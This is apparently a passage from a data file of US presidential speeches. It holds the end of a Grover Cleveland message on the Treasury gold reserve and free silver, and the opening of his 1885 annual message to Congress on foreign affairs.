necessary and no other manner of accomplishing it being possible, resort\nwas had to the issue and sale of bonds provided for by the resumption act of\n1875. Fifty millions of these bonds were sold, yielding $58,633,295.71, which\nwas added to the reserve fund of gold then on hand. As a result of this\noperation this reserve, which had suffered constant and large withdrawals in\nthe meantime, stood on the 6th day of March, 1894, at the sum of $107,446,802.\nIts depletion was, however, immediately thereafter so accelerated that on the\n30th day of June, 1894, it had fallen to $64,873,025, thus losing by\nwithdrawals more than $42,000,000 in five months and dropping slightly below\nits situation when the sale of $50,000,000 in bonds was effected for its\nreplenishment.This depressed condition grew worse, and on the 24th day of November, 1894,\nour gold reserve being reduced to $57,669,701, it became necessary to again\nstrengthen it.This was done by another sale of bonds amounting to $50,000,000, from which\nthere was realized $58,538,500, with which the fund was increased to\n$111,142,021 on the 4th day of December, 1894.Again disappointment awaited the anxious hope for relief. There was not even a\nlull in the exasperating withdrawals of gold. On the contrary, they grew\nlarger and more persistent than ever. Between the 4th day of December, 1894,\nand early in February, 1895, a period of scarcely more than two months after\nthe second reenforcement of our gold reserve by the sale of bonds, it had lost\nby such withdrawals more than $69,000,000 and had fallen to $41,340,181.\nNearly $43,000,000 had been withdrawn within the month immediately preceding\nthis situation.In anticipation of impending trouble I had on the 28th day of January, 1895,\naddressed a communication to the Congress fully setting forth our difficulties\nand dangerous position and earnestly recommending that authority be given the\nSecretary of the Treasury to issue bonds bearing a low rate of interest,\npayable by their terms in gold, for the purpose of maintaining a sufficient\ngold reserve and also for the redemption and cancellation of outstanding\nUnited States notes and the Treasury notes issued for the purchase of silver\nunder the law of 1890. This recommendation did not, however, meet with\nlegislative approval.In February, 1895, therefore, the situation was exceedingly critical. With a\nreserve perilously low and a refusal of Congressional aid, everything\nindicated that the end of gold payments by the Government was imminent. The\nresults of prior bond issues had been exceedingly unsatisfactory, and the\nlarge withdrawals of gold immediately succeeding their public sale in open\nmarket gave rise to a reasonable suspicion that a large part of the gold paid\ninto the Treasury upon such sales was promptly drawn out again by the\npresentation of United States notes or Treasury notes, and found its way to\nthe hands of those who had only temporarily parted with it in the purchase of\nbonds.In this emergency, and in view of its surrounding perplexities, it became\nentirely apparent to those upon whom the struggle for safety was devolved not\nonly that our gold reserve must, for the third time in less than thirteen\nmonths, be restored by another issue and sale of bonds bearing a high rate of\ninterest and badly suited to the purpose, but that a plan must be adopted for\ntheir disposition promising better results than those realized on previous\nsales. An agreement was therefore made with a number of financiers and bankers\nwhereby it was stipulated that bonds described in the resumption act of 1875,\npayable in coin thirty years after their date, bearing interest at the rate of\n4 pet cent per annum, and amounting to about $62,000,000, should be exchanged\nfor gold, receivable by weight, amounting to a little more than $65,000,000.This gold was to be delivered in such installments as would complete its\ndelivery within about six months from the date of the contract, and at least\none-half of the amount was to be furnished from abroad. It was also agreed by\nthose supplying this gold that during the continuance of the contract they\nwould by every means in their power protect the Government against gold\nwithdrawals. The contract also provided that if Congress would authorize their\nissue bonds payable by their terms in gold and bearing interest at the rate of\n3 per cent per annum might within ten days be substituted at par for the 4 per\ncent bonds described in the agreement.On the day this contract was made its terms were communicated to Congress by a\nspecial Executive message, in which it was stated that more than $16,000,000\nwould be saved to the Government if gold bonds bearing 3 per cent interest\nwere authorized to be substituted for those mentioned in the contract.The Congress having declined to grant the necessary authority to secure this\nsaving, the contract, unmodified, was carried out, resulting in a gold reserve\namounting to $107,571,230 on the 8th day of July, 1895. The performance of\nthis contract not only restored the reserve, but checked for a time the\nwithdrawals of gold and brought on a period of restored confidence and such\npeace and quiet in business circles as were of the greatest possible value to\nevery interest that affects our people. I have never had the slightest\nmisgiving concerning the wisdom or propriety of this arrangement, and am quite\nwilling to answer for my full share of responsibility for its promotion. I\nbelieve it averted a disaster the imminence of which was, fortunately, not at\nthe time generally understood by our people.Though the contract mentioned stayed for a time the tide of gold withdrawal,\nits good results could not be permanent. Recent withdrawals have reduced the\nreserve from $107,571,230 on the 8th day of July, 1895, to $79,333,966. How\nlong it will remain large enough to render its increase unnecessary is only\nmatter of conjecture, though quite large withdrawals for shipment in the\nimmediate future are predicted in well-informed quarters. About $16,000,000\nhas been withdrawn during the month of November.The foregoing statement of events and conditions develops the fact that after\nincreasing our interest-bearing bonded indebtedness more than $162,000,000 to\nsave our gold reserve we are nearly where we started, having now in such\nreserve $79,333,966, as against $65,438,377 in February, 1894, when the first\nbonds were issued.Though the amount of gold drawn from the Treasury appears to be very large as\ngathered from the facts and figures herein presented, it actually was much\nlarger, considerable sums having been acquired by the Treasury within the\nseveral periods stated without the issue of bonds. On the 28th of January,\n1895, it was reported by the Secretary of the Treasury that more than\n$172,000,000 of gold had been withdrawn for hoarding or shipment during the\nyear preceding. He now reports that from January 1, 1879, to July 14, 1890, a\nperiod of more than eleven years, only a little over $28,000,000 was\nwithdrawn, and that between July 14, 1890, the date of the passage of the law\nfor an increased purchase of silver, and the 1st day of December, 1895, or\nwithin less than five and a half years, there was withdrawn nearly\n$375,000,000, making a total of more than $403,000,000 drawn from the Treasury\nin gold since January 1, 1879, the date fixed in 1875 for the retirement of\nthe United States notes.Nearly $327,000,000 of the gold thus withdrawn has been paid out on these\nUnited States notes, and yet every one of the $346,000,000 is still uncanceled\nand ready to do service in future gold depletions.More than $76,000,000 in gold has since their creation in 1890 been paid out\nfrom the Treasury upon the notes given on the purchase of silver by the\nGovernment, and yet the whole, amounting to $155,000,000, except a little more\nthan $16,000,000 which has been retired by exchanges for silver at the request\nof the holders, remains outstanding and prepared to join their older and more\nexperienced allies in future raids upon the Treasury's gold reserve.In other words, the Government has paid in gold more than nine-tenths of its\nUnited States notes and still owes them all. It has paid in gold about\none-half of its notes given for silver purchases without extinguishing by such\npayment one dollar of these notes.When, added to all this, we are reminded that to carry on this astound, lug\nfinancial scheme the Government has incurred a bonded indebtedness of\n$95,500,000 in establishing a gold reserve and of $162,315,400 in efforts to\nmaintain it; that the annual interest charge on such bonded indebtedness is\nmore than $11,000,000; that a continuance of our present course may result in\nfurther bond issues, and that we have suffered or are threatened with all this\nfor the sake of supplying gold for foreign shipment or facilitating its\nhoarding at home, a situation is exhibited which certainly ought to arrest\nattention and provoke immediate legislative relief.I am convinced the only thorough and practicable remedy for our troubles is\nfound in the retirement and cancellation of our United States notes, commonly\ncalled greenbacks, and the outstanding Treasury notes issued by the Government\nin payment of silver purchases under the act of 1890.I believe this could be quite readily accomplished by the exchange of these\nnotes for United States bonds, of small as well as large denominations,\nbearing a low rate of interest. They should be long-term bonds, thus\nincreasing their desirability as investments, and because their payment could\nbe well postponed to a period far removed from present financial burdens and\nperplexities, when with increased prosperity and resources they would be more\neasily met.To further insure the cancellation of these notes and also provide a way by\nwhich gold may be added to our currency in lieu of them, a feature in the plan\nshould be an authority given to the Secretary of the Treasury to dispose of\nthe bonds abroad for gold if necessary to complete the contemplated redemption\nand cancellation, permitting him to use the proceeds of such bonds to take up\nand cancel any of the notes that may be in the Treasury or that may be\nreceived by the Government on any account.The increase of our bonded debt involved in this plan would be amply\ncompensated by renewed activity and enterprise in all business circles, the\nrestored confidence at home, the reinstated faith in our monetary strength\nabroad, and the stimulation of every interest and industry that would follow\nthe cancellation of the gold-demand obligations now afflicting us. In any\nevent, the bonds proposed would stand for the extinguishment of a troublesome\nindebtedness, while in the path we now follow there lurks the menace of\nunending bonds, with our indebtedness still undischarged and aggravated in\nevery feature. The obligations necessary to fund this indebtedness would not\nequal in amount those from which we have been relieved since 1884 by\nanticipation and payment beyond the requirements of the sinking fund out of\nour surplus revenues.The currency withdrawn by the retirement of the United States notes and\nTreasury notes, amounting to probably less than $486,000,000, might be\nsupplied by such gold as would be used on their retirement or by an increase\nin the circulation of our national banks. Though the aggregate capital of\nthose now in existence amounts to more than $664,000,000, their outstanding\ncirculation based on bond security amounts to only about $190,000,000. They\nare authorized to issue notes amounting to 90 per cent of the bonds deposited\nto secure their circulation, but in no event beyond the amount of their\ncapital stock, and they are obliged to pay 1 per cent tax on the circulation\nthey issue.I think they should be allowed to issue circulation equal to the par value of\nthe bonds they deposit to secure it, and that the tax on their circulation\nshould be reduced to one-fourth of 1 per cent, which would undoubtedly meet\nall the expense the Government incurs on their account. In addition they\nshould be allowed to substitute or deposit in lieu of the bonds now required\nas security for their circulation those which would be issued for the purpose\nof retiring the United States notes and Treasury notes.The banks already existing, if they desired to avail themselves of the\nprovisions of law thus modified, could issue circulation, in addition to that\nalready outstanding, amounting to $478,000,000, which would nearly or quite\nequal the currency proposed to be canceled. At any rate, I should confidently\nexpect to see the existing national banks or others to be organized avail\nthemselves of the proposed encouragements to issue circulation and promptly\nfill any vacuum and supply every currency need.It has always seemed to me that the provisions of law regarding the capital of\nnational banks, which operate as a limitation to their location, fail to make\nproper compensation for the suppression of State banks, which came near to the\npeople in all sections of the country and readily furnished them with banking\naccommodations and facilities. Any inconvenience or embarrassment arising from\nthese restrictions on the location of national banks might well be remedied by\nbetter adapting the present system to the creation of banks in smaller\ncommunities or by permitting banks of large capital to establish branches in\nsuch localities as would serve the people, so regulated and restrained as to\nsecure their safe and conservative control and management.But there might not be the necessity for such an addition to the currency by\nnew issues of bank circulation as at first glance is indicated. If we should\nbe relieved from maintaining a gold reserve under conditions that constitute\nit the barometer of our solvency, and if our Treasury should no longer be the\nfoolish purveyor of gold for nations abroad or for speculation and hoarding by\nour citizens at home, I should expect to see gold resume its natural and\nnormal functions in the business affairs of the country and cease to be an\nobject attracting the timid watch of our people and exciting their sensitive\nimaginations.I do not overlook the fact that the cancellation of the Treasury notes issued\nunder the silver-purchasing act of 1890 would leave the Treasury in the actual\nownership of sufficient silver, including seigniorage, to coin nearly\n$178,000,000 in standard dollars. It is worthy of consideration whether this\nmight not from time to time be converted into dollars or fractional coin and\nslowly put into circulation, as in the judgment of the Secretary of the\nTreasury the necessities of the country should require.Whatever is attempted should be entered upon fully appreciating the fact that\nby careless, easy descent we have reached a dangerous depth, and that our\nascent will not be accomplished without laborious toil and struggle. We shall\nbe wise if we realize that we are financially ill and that our restoration to\nhealth may require heroic treatment and unpleasant remedies.In the present stage of our difficulty it is not easy to understand how the\namount of our revenue receipts directly affects it. The important question is\nnot the quantity of money received in revenue payments, but the kind of money\nwe maintain and our ability to continue in sound financial condition. We are\nconsidering the Government's holdings of gold as related to the soundness of\nour money and as affecting our national credit and monetary strength.If our gold reserve had never been impaired; if no bonds had ever been issued\nto replenish it; if there had been no fear and timidity concerning our ability\nto continue gold payments; if any part of our revenues were now paid in gold,\nand if we could look to our gold receipts as a means of maintaining a safe\nreserve, the amount of our revenues would be an influential factor in the\nproblem. But, unfortunately, all the circumstances that might lend weight to\nthis consideration are entirely lacking.In our present predicament no gold is received by the Government in payment of\nrevenue charges, nor would there be if the revenues were increased. The\nreceipts of the Treasury, when not in silver certificates, consist of United\nStates notes and Treasury notes issued for silver purchases. These forms of\nmoney are only useful to the Government in paying its current ordinary\nexpenses, and its quantity in Government possession does not in the least\ncontribute toward giving us that kind of safe financial standing or condition\nwhich is built on gold alone.If it is said that these notes if held by the Government can be used to obtain\ngold for our reserve, the answer is easy. The people draw gold from the\nTreasury on demand upon United States notes and Treasury notes, but the\nproposition that the Treasury can on demand draw gold from the people upon\nthem would be regarded in these days with wonder and amusement; and even if\nthis could be done there is nothing to prevent those thus parting with their\ngold from regaining it the next day or the next hour by the presentation of\nthe notes they received in exchange for it.The Secretary of the Treasury might use such notes taken from a surplus\nrevenue to buy gold in the market. Of course he could not do this without\npaying a premium. Private holders of gold, unlike the Government, having no\nparity to maintain, would not be restrained from making the best bargain\npossible when they furnished gold to the Treasury; but the moment the\nSecretary of the Treasury bought gold on any terms above par he would\nestablish a general and universal premium upon it, thus breaking down the\nparity between gold and silver, which the Government is pledged to maintain,\nand opening the way to new and serious complications. In the meantime the\npremium would not remain stationary, and the absurd spectacle might be\npresented of a dealer selling gold to the Government and with United States\nnotes or Treasury notes in his hand immediately clamoring for its return and a\nresale at a higher premium.It may be claimed that a large revenue and redundant receipts might favorably\naffect the situation under discussion by affording an opportunity of retaining\nthese notes in the Treasury when received, and thus preventing their\npresentation for gold. Such retention to be useful ought to be at least\nmeasurably permanent; and this is precisely what is prohibited, so far as\nUnited States notes are concerned, by the law of 1878, forbidding their\nfurther retirement. That statute in so many words provides that these notes\nwhen received into the Treasury and belonging to the United States shall be\n\"paid out again and kept in circulation.\"It will, moreover, be readily seen that the Government could not refuse to pay\nout United States notes and Treasury notes in current transactions when\ndemanded, and insist on paying out silver alone, and still maintain the parity\nbetween that metal and the currency representing gold. Besides, the\naccumulation in the Treasury of currency of any kind exacted from the people\nthrough taxation is justly regarded as an evil, and it can not proceed far\nwithout vigorous protest against an unjustifiable retention of money from the\nbusiness of the country and a denunciation of a scheme of taxation which\nproves itself to be unjust when it takes from the earnings and income of the\ncitizen money so much in excess of the needs of Government support that large\nsums can be gathered and kept in the Treasury. Such a condition has heretofore\nin times of surplus revenue led the Government to restore currency to the\npeople by the purchase of its unmatured bonds at a large premium and by a\nlarge increase of its deposits in national banks, and we easily remember that\nthe abuse of Treasury accumulation has furnished a most persuasive argument in\nfavor of legislation radically reducing our tariff taxation.Perhaps it is supposed that sufficient revenue receipts would in a sentimental\nway improve the situation by inspiring confidence in our solvency and allaying\nthe fear of pecuniary exhaustion. And yet through all our struggles to\nmaintain our gold reserve there never has been any apprehension as to our\nready ability to pay our way with such money as we had, and the question\nwhether or not our current receipts met our current expenses has not entered\ninto the estimate of our solvency. Of course the general state of our funds,\nexclusive of gold, was entirely immaterial to the foreign creditor and\ninvestor. His debt could only be paid in gold, and his only concern was our\nability to keep on hand that kind of money.On July 1, 1892, more than a year and a half before the first bonds were\nissued to replenish the gold reserve, there was a net balance in the Treasury,\nexclusive of such reserve, of less than $13,000,000, but the gold reserve\namounted to more than $114,000,000, which was the quieting feature of the\nsituation. It was when the stock of gold began rapidly to fall that fright\nsupervened and our securities held abroad were returned for sale and debts\nowed abroad were pressed for payment. In the meantime extensive shipments of\ngold and other unfavorable indications caused restlessness and fright among\nour people at home. Thereupon the general state of our funds, exclusive of\ngold, became also immaterial to them, and they too drew gold from the Treasury\nfor hoarding against all contingencies. This is plainly shown by the large\nincrease in the proportion of gold withdrawn which was retained by our own\npeople as time and threatening incidents progressed. During the fiscal year\nending June 30, 1894, nearly $85,000,000 in gold was withdrawn from the\nTreasury and about $77,000,000 was sent abroad, while during the fiscal year\nending June 30, 1895, over $117,000,000 was drawn out, of which only about\n$66,000,000 was shipped, leaving the large balance of such withdrawals to be\naccounted for by domestic hoarding.Inasmuch as the withdrawal of our gold has resulted largely from fright, there\nis nothing apparent that will prevent its continuance or recurrence, with its\nnatural consequences, except such a change in our financial methods as will\nreassure the frightened and make the desire for gold less intense. It is not\nclear how an increase fix revenue, unless it be in gold, can satisfy those\nwhose only anxiety is to gain gold from the Government's store.It can not, therefore, be safe to rely upon increased revenues as a cure for\nour present troubles.It is possible that the suggestion of increased revenue as a remedy for the\ndifficulties we are considering may have originated in an intimation or\ndistinct allegation that the bonds which have been issued ostensibly to\nreplenish our gold reserve were really issued to supply insufficient revenue.\nNothing can be further from the truth. Bonds were issued to obtain gold for\nthe maintenance of our national credit. As has been shown, the gold thus\nobtained has been drawn again from the Treasury upon United States notes and\nTreasury notes. This operation would have been promptly prevented if possible;\nbut these notes having thus been passed to the Treasury, they became the money\nof the Government, like any other ordinary Government funds, and there was\nnothing to do but to use them in paying Government expenses when needed.At no time when bonds have been issued has there been any consideration of the\nquestion of paying the expenses of Government with their proceeds. There was\nno necessity to consider that question. At the time of each bond issue we had\na safe surplus in the Treasury for ordinary operations, exclusive of the gold\nin our reserve. In February, 1894, when the first issue of bonds was made,\nsuch surplus amounted to over $18,000,000; in November, when the second issue\nwas made, it amounted to more than $42,000,000, and in February, 1895, when\nbonds for the third time were issued, such surplus amounted to more than\n$100,000,000. It now amounts to $98,072,420.30.Besides all this, the Secretary of the Treasury had no authority whatever to\nissue bonds to increase the ordinary revenues or pay current expenses.I can not but think there has been some confusion of ideas regarding the\neffects of the issue of bonds and the results of the withdrawal of gold. It\nwas the latter process, and not the former, that, by substituting in the\nTreasury United States notes and Treasury notes for gold, increased by their\namount the money which was in the first instance subject to ordinary\nGovernment expenditure.Although the law compelling an increased purchase of silver by the Government\nwas passed on the 14th day of July, 1890, withdrawals of gold from the\nTreasury upon the notes given in payment on such purchases did not begin until\nOctober, 1891. Immediately following that date the withdrawals upon both these\nnotes and United States notes increased very largely, and have continued to\nsuch an extent that since the passage of that law there has been more than\nthirteen times as much gold taken out of the Treasury upon United States notes\nand Treasury notes issued for silver purchases as was thus withdrawn during\nthe eleven and a half years immediately prior thereto and after the 1st day of\nJanuary, 1879, when specie payments were resumed.It is neither unfair nor unjust to charge a large share of our present\nfinancial perplexities and dangers to the operation of the laws of 1878 and\n1890 compelling the purchase of silver by the Government, which not only\nfurnished a new Treasury obligation upon which its gold could be withdrawn,\nbut so increased the fear of an overwhelming flood of silver and a forced\ndescent to silver payments that even the repeal of these laws did not entirely\ncure the evils of their existence.While I have endeavored to make a plain statement of the disordered condition\nof our currency and the present dangers menacing our prosperity and to suggest\na way which leads to a safer financial system, I have constantly had in mind\nthe fact that many of my countrymen, whose sincerity I do not doubt, insist\nthat the cure for the ills now threatening us may be found in the single and\nsimple remedy of the free coinage of silver. They contend that our mints shall\nbe at once thrown open to the free, unlimited, and independent coinage of both\ngold and silver dollars of full legal-tender quality, regardless of the action\nof any other government and in full view of the fact that the ratio between\nthe metals which they suggest calls for 100 cents' worth of gold in the gold\ndollar at the present standard and only 50 cents in intrinsic worth of silver\nin the silver dollar.Were there infinitely stronger reasons than can be adduced for hoping that\nsuch action would secure for us a bimetallic currency moving on lines of\nparity, an experiment so novel and hazardous as that proposed might well\nstagger those who believe that stability is an imperative condition of sound\nmoney.No government, no human contrivance or act of legislation, has ever been able\nto hold the two metals together in free coinage at a ratio appreciably\ndifferent from that which is established in the markets of the world.Those who believe that our independent free coinage of silver at an artificial\nratio with gold of 16 to 1 would restore the parity between the metals, and\nconsequently between the coins, oppose an unsupported and improbable theory to\nthe general belief and practice of other nations; and to the teaching of the\nwisest statesmen and economists of the world, both in the past and present,\nand, what is far more conclusive, they run counter to our own actual\nexperiences.Twice in our earlier history our lawmakers, in attempting to establish a\nbimetallic currency, undertook free coinage upon a ratio which accidentally\nvaried from the actual relative values of the two metals not more than 3 per\ncent. In both cases, notwithstanding greater difficulties and cost of\ntransportation than now exist, the coins whose intrinsic worth was\nundervalued. in the ratio gradually and surely disappeared from our\ncirculation and went to other countries where their real value was better\nrecognized.Acts of Congress were impotent to create equality where natural causes decreed\neven a slight inequality.Twice in our recent history we have signally failed to raise by legislation\nthe value of silver. Under an act of Congress passed in 1878 the Government\nwas required for more than twelve years to expend annually at least\n$24,000,000 in the purchase of silver bullion for coinage. The act of July 14,\n1890, in a still bolder effort, increased the amount of silver the Government\nwas compelled to purchase and forced it to become the buyer annually of\n54,000,000 ounces, or practically the entire product of our mines. Under both\nlaws silver rapidly and steadily declined in value. The prophecy and the\nexpressed hope and expectation of those in the Congress who led in the passage\nof the last-mentioned act that it would reestablish and maintain the former\nparity between the two metals are still fresh in our memory.In the light of these experiences, which accord with the experiences of other\nnations, there is certainly no secure ground for the belief that an act of\nCongress could now bridge an inequality of 50 per cent between gold and silver\nat our present ratio, nor is there the least possibility that our country,\nwhich has less than one-seventh of the silver money in the world, could by its\naction alone raise not only our own but all silver to its lost ratio with\ngold. Our attempt to accomplish this by the free coinage of silver at a ratio\ndiffering widely from actual relative values would be the signal for the\ncomplete departure of gold from our circulation, the immediate and large\ncontraction of our circulating medium, and a shrinkage in the real value and\nmonetary efficiency of all other forms of currency as they settled to the\nlevel of silver monometallism. Everyone who receives a fixed salary and every\nworker for wages would find the dollar in his hand ruthlessly scaled down to\nthe point of bitter disappointment, if not to pinching privation.A change in our standard to silver monometallism would also bring on a\ncollapse of the entire system of credit, which, when based on a standard which\nis recognized and adopted by the world of business, is many times more potent\nand useful than the entire volume of currency and is safely capable of almost\nindefinite expansion to meet the growth of trade and enterprise. In a\nself-invited struggle through darkness and uncertainty our humiliation would\nbe increased by the consciousness that we had parted company with all the\nenlightened and progressive nations of the world and were desperately and\nhopelessly striving to meet the stress of modern commerce and competition with\na debased and unsuitable currency and in association with the few weak and\nlaggard nations which have silver alone as their standard of value.All history warns us against rash experiments which threaten violent changes\nin our monetary standard and the degradation of our currency. The past is full\nof lessons teaching not only the economic dangers but the national immorality\nthat follow in the train of such experiments. I will not believe that the\nAmerican people can be persuaded after sober deliberation to jeopardize their\nnation's prestige and proud standing by encouraging financial nostrums, nor\nthat they will yield to the false allurements of cheap money when they realize\nthat it must result in the weakening of that financial integrity and rectitude\nwhich thus far in our history has been so devotedly cherished as one of the\ntraits of true Americanism.Our country's indebtedness, whether owing by the Government or existing\nbetween individuals, has been contracted with reference to our present\nstandard. To decree by act of Congress that these debts shall be payable in\nless valuable dollars than those within the contemplation and intention of the\nparties when contracted would operate to transfer by the fiat of law and\nwithout compensation an amount of property and a volume of rights and\ninterests almost incalculable.Those who advocate a blind and headlong plunge to free coinage in the name of\nbimetallism, and professing the belief, contrary to all experience, that we\ncould thus establish a double standard and a concurrent circulation of both\nmetals in our coinage, are certainly reckoning from a cloudy standpoint. Our\npresent standard of value is the standard of the civilized world and permits\nthe only bimetallism now possible, or at least that is within the independent\nreach of any single nation, however powerful that nation may be. While the\nvalue of gold as a standard is steadied by almost universal commercial and\nbusiness use, it does not despise silver nor seek its banishment. Wherever\nthis standard is maintained there is at its side in free and unquestioned\ncirculation a volume of silver currency sometimes equaling and sometimes even\nexceeding it in amount both maintained at a parity notwithstanding a\ndepreciation or fluctuation in the intrinsic value of silver.There is a vast difference between a standard of value and a currency for\nmonetary use. The standard must necessarily be fixed and certain. The currency\nmay be in divers forms and of various kinds. No silver-standard country has a\ngold currency in circulation, but an enlightened and wise system of finance\nsecures the benefits of both gold and silver as currency and circulating\nmedium by keeping the standard stable and all other currency at par with it.\nSuch a system and such a standard also give free scope for the use and\nexpansion of safe and conservative credit, so indispensable to broad and\ngrowing commercial transactions and so well substituted for the actual use of\nmoney. If a fixed and stable standard is maintained, such as the magnitude and\nsafety of our commercial transactions and business require, the use of money\nitself is conveniently minimized.Every dollar of fixed and stable value has through the agency of confident\ncredit an astonishing capacity of multiplying itself in financial work. Every\nunstable and fluctuating dollar fails as a basis of credit, and in its use\nbegets gambling speculation and undermines the foundations of honest\nenterprise.I have ventured to express myself on this subject with earnestness and\nplainness of speech because I can not rid myself of the belief that there lurk\nin the proposition for the free coinage of silver, so strongly approved and so\nenthusiastically advocated by a multitude of my countrymen, a serious menace\nto our prosperity and an insidious temptation of our people to wander from the\nallegiance they owe to public and private integrity. It is because I do not\ndistrust the good faith and sincerity of those who press this scheme that I\nhave imperfectly but with zeal submitted my thoughts upon this momentous\nsubject. I can not refrain from begging them to reexamine their views and\nbeliefs in the light of patriotic reason and familiar experience and to weigh\nagain and again the consequences of such legislation as their efforts have\ninvited. Even the continued agitation of the subject adds greatly to the\ndifficulties of a dangerous financial situation already forced upon us.In conclusion I especially entreat the people's representatives in the\nCongress, who are charged with the responsibility of inaugurating measures for\nthe safety and prosperity of our common country, to promptly and effectively\nconsider the ills of our critical financial plight. I have suggested a remedy\nwhich my judgment approves. I desire, however, to assure the Congress that I\nam prepared to cooperate with them in perfecting any other measure promising\nthorough and practical relief, and that I will gladly labor with them in every\npatriotic endeavor to further the interests and guard the welfare of our\ncountrymen, whom in our respective places of duty we have undertaken to serve.GROVER CLEVELAND", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 8, 1885", 
+    "speech": "To the Congress of the United States:Your assembling is clouded by a sense of public bereavement, caused by the\nrecent and sudden death of Thomas A. Hendricks, Vice-President of the\nUnited States. His distinguished public services, his complete integrity\nand devotion to every duty, and his personal virtues will find honorable\nrecord in his country's history.Ample and repeated proofs of the esteem and confidence in which he was held\nby his fellow-countrymen were manifested by his election to offices of the\nmost important trust and highest dignity; and at length, full of years and\nhonors, he has been laid at rest amid universal sorrow and benediction.The Constitution, which requires those chosen to legislate for the people\nto annually meet in the discharge of their solemn trust, also requires the\nPresident to give to Congress information of the state of the Union and\nrecommend to their consideration such measures as he shall deem necessary\nand expedient. At the threshold of a compliance with these constitutional\ndirections it is well for us to bear in mind that our usefulness to the\npeople's interests will be promoted by a constant appreciation of the scope\nand character of our respective duties as they relate to Federal\nlegislation. While the Executive may recommend such measures as he shall\ndeem expedient, the responsibility for legislative action must and should\nrest upon those selected by the people to make their laws.Contemplation of the grave and responsible functions assigned to the\nrespective branches of the Government under the Constitution will disclose\nthe partitions of power between our respective departments and their\nnecessary independence, and also the need for the exercise of all the power\nintrusted to each in that spirit of comity and cooperation which is\nessential to the proper fulfillment of the patriotic obligations which rest\nupon us as faithful servants of the people.The jealous watchfulness of our constituencies, great and small,\nsupplements their suffrages, and before the tribunal they establish every\npublic servant should be judged.It is gratifying to announce that the relations of the United States with\nall foreign powers continue to be friendly. Our position after nearly a\ncentury of successful constitutional government, maintenance of good faith\nin all our engagements, the avoidance of complications with other nations,\nand our consistent and amicable attitude toward the strong and weak alike\nfurnish proof of a political disposition which renders professions of good\nwill unnecessary. There are no questions of difficulty pending with any\nforeign government.The Argentine Government has revived the long dormant question of the\nFalkland Islands by claiming from the United States indemnity for their\nloss, attributed to the action of the commander of the sloop of war\nLexington in breaking up a piratical colony on those islands in 1831, and\ntheir subsequent occupation by Great Britain. In view of the ample\njustification for the act of the Lexington and the derelict condition of\nthe islands before and after their alleged occupation by Argentine\ncolonists, this Government considers the claim as wholly groundless.Question has arisen with the Government of Austria-Hungary touching the\nrepresentation of the United States at Vienna. Having under my\nconstitutional prerogative appointed an estimable citizen of unimpeached\nprobity and competence as minister at that court, the Government of\nAustria-Hungary invited this Government to take cognizance of certain\nexceptions, based upon allegations against the personal acceptability of\nMr. Keiley, the appointed envoy, asking that in view thereof the\nappointment should be withdrawn. The reasons advanced were such as could\nnot be acquiesced in without violation of my oath of office and the\nprecepts of the Constitution, since they necessarily involved a limitation\nin favor of a foreign government upon the right of selection by the\nExecutive and required such an application of a religious test as a\nqualification for office under the United States as would have resulted in\nthe practical disfranchisement of a large class of our citizens and the\nabandonment of a vital principle in our Government. The Austro-Hungarian\nGovernment finally decided not to receive Mr. Keiley as the envoy of the\nUnited States, and that gentleman has since resigned his commission,\nleaving the post vacant. I have made no new nomination, and the interests\nof this Government at Vienna are now in the care of the secretary of\nlegation, acting as charge d'affaires ad interim.Early in March last war broke out in Central America, caused by the attempt\nof Guatemala to consolidate the several States into a single government. In\nthese contests between our neighboring States the United States forebore to\ninterfere actively, but lent the aid of their friendly offices in\ndeprecation of war and to promote peace and concord among the belligerents,\nand by such counsel contributed importantly to the restoration of\ntranquillity in that locality.Emergencies growing out of civil war in the United States of Colombia\ndemanded of the Government at the beginning of this Administration the\nemployment of armed forces to fulfill its guaranties under the thirty-fifth\narticle of the treaty of 1846, in order to keep the transit open across the\nIsthmus of Panama. Desirous of exercising only the powers expressly\nreserved to us by the treaty, and mindful of the rights of Colombia, the\nforces sent to the Isthmus were instructed to confine their action to\n\"positively and efficaciously\" preventing the transit and its accessories\nfrom being \"interrupted or embarrassed.\"The execution of this delicate and responsible task necessarily involved\npolice control where the local authority was temporarily powerless, but\nalways in aid of the sovereignty of Colombia.The prompt and successful fulfillment of its duty by this Government was\nhighly appreciated by the Government of Colombia, and has been followed by\nexpressions of its satisfaction.High praise is due to the officers and men engaged in this service. The\nrestoration of peace on the Isthmus by the reestablishment of the\nconstituted Government there being thus accomplished, the forces of the\nUnited States were withdrawn.Pending these occurrences a question of much importance was presented by\ndecrees of the Colombian Government proclaiming the closure of certain\nports then in the hands of insurgents and declaring vessels held by the\nrevolutionists to be piratical and liable to capture by any power. To\nneither of these propositions could the United States assent. An effective\nclosure of ports not in the possession of the Government, but held by\nhostile partisans, could not be recognized; neither could the vessels of\ninsurgents against the legitimate sovereignty be deemed hostes humani\ngeneris within the precepts of international law, whatever might be the\ndefinition and penalty of their acts under the municipal law of the State\nagainst whose authority they were in revolt. The denial by this Government\nof the Colombian propositions did not, however, imply the admission of a\nbelligerent status on the part of the insurgents.The Colombian Government has expressed its willingness to negotiate\nconventions for the adjustment by arbitration of claims by foreign citizens\narising out of the destruction of the city of Aspinwall by the\ninsurrectionary forces.The interest of the United States in a practicable transit for ships across\nthe strip of land separating the Atlantic from the Pacific has been\nrepeatedly manifested during the last half century.My immediate predecessor caused to be negotiated with Nicaragua a treaty\nfor the construction, by and at the sole cost of the United States, of a\ncanal through Nicaraguan territory, and laid it before the Senate. Pending\nthe action of that body thereon, I withdrew the treaty for reexamination.\nAttentive consideration of its provisions leads me to withhold it from\nresubmission to the Senate.Maintaining, as I do, the tenets of a line of precedents from Washington's\nday, which proscribe entangling alliances with foreign states, I do not\nfavor a policy of acquisition of new and distant territory or the\nincorporation of remote interests with our own.The laws of progress are vital and organic, and we must be conscious of\nthat irresistible tide of commercial expansion which, as the concomitant of\nour active civilization, day by day is being urged onward by those\nincreasing facilities of production, transportation, and communication to\nwhich steam and electricity have given birth; but our duty in the present\ninstructs us to address ourselves mainly to the development of the vast\nresources of the great area committed to our charge and to the cultivation\nof the arts of peace within our own borders, though jealously alert in\npreventing the American hemisphere from being involved in the political\nproblems and complications of distant governments. Therefore I am unable to\nrecommend propositions involving paramount privileges of ownership or\nright outside of our own territory, when coupled with absolute and\nunlimited engagements to defend the territorial integrity of the state\nwhere such interests lie. While the general project of connecting the two\noceans by means of a canal is to be encouraged, I am of opinion that any\nscheme to that end to be considered with favor should be free from the\nfeatures alluded to.The Tehuantepec route is declared by engineers of the highest repute and by\ncompetent scientists to afford an entirely practicable transit for vessels\nand cargoes, by means of a ship railway, from the Atlantic to 